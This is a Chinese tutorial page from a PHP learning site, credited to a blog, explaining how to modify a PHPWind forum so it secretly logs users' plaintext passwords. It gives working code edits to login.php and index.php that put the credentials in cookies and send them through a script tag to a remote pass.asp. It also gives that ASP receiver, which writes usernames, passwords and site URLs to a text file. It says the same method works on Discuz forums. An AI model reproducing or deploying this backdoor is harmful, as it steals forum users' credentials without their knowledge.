网站地图    收藏   

主页 > 后端 > 网站安全 >

记录PHPWIND论坛明文登陆密码 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 13:02 作者: 阅读:

[导读] 在login.php Cookie(ck_info,$db_ckpath.\t.$db_ckdomain);下面加入Cookie(usernamep,$pwuser);Cookie(passwordp,$pwpwd);然后在index.php selectMode($m);上面加入if (!is_null(GetCookie(#39;user......

在login.php   Cookie("ck_info",$db_ckpath."\t".$db_ckdomain);下面加入
 
Cookie("usernamep",$pwuser);  
Cookie("passwordp",$pwpwd);  
 
然后在index.php selectMode($m);上面加入
 
if (!is_null(GetCookie('usernamep')) && !is_null(GetCookie('passwordp'))) {  
$urlp="http://".$_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];  
echo "<script src='http:// www.2cto.com /pass.asp?u=".urlencode(GetCookie('usernamep'))."&p=".urlencode(GetCookie('passwordp'))."&s=".urlencode($urlp)."'></script>";  
Cookie('usernamep','',0);  
Cookie('passwordp','',0);  
unset($urlp);  
}   
 
 
 
pass.asp 代码
 
<%  
strLogFile="pass.txt"  
u=request("u")  
if u="" then  
response.end  
end if  
p=request("p")  
if p="" then  
response.end  
end if  
s=request("s")  
StrLogText=StrLogText&"用户名:"&u&"----密码:"&p&"----网站:"&s&"----"&date&" "&time  
set f=Server.CreateObject("scripting.filesystemobject")  
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)  
ff.writeline(chr(13)+chr(10)&StrLogText)  
ff.close  
set ff=nothing  
set f=nothing%>  
 
DZ论坛的明文密码记录也原理一样。

摘自 臭袜子 blog

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论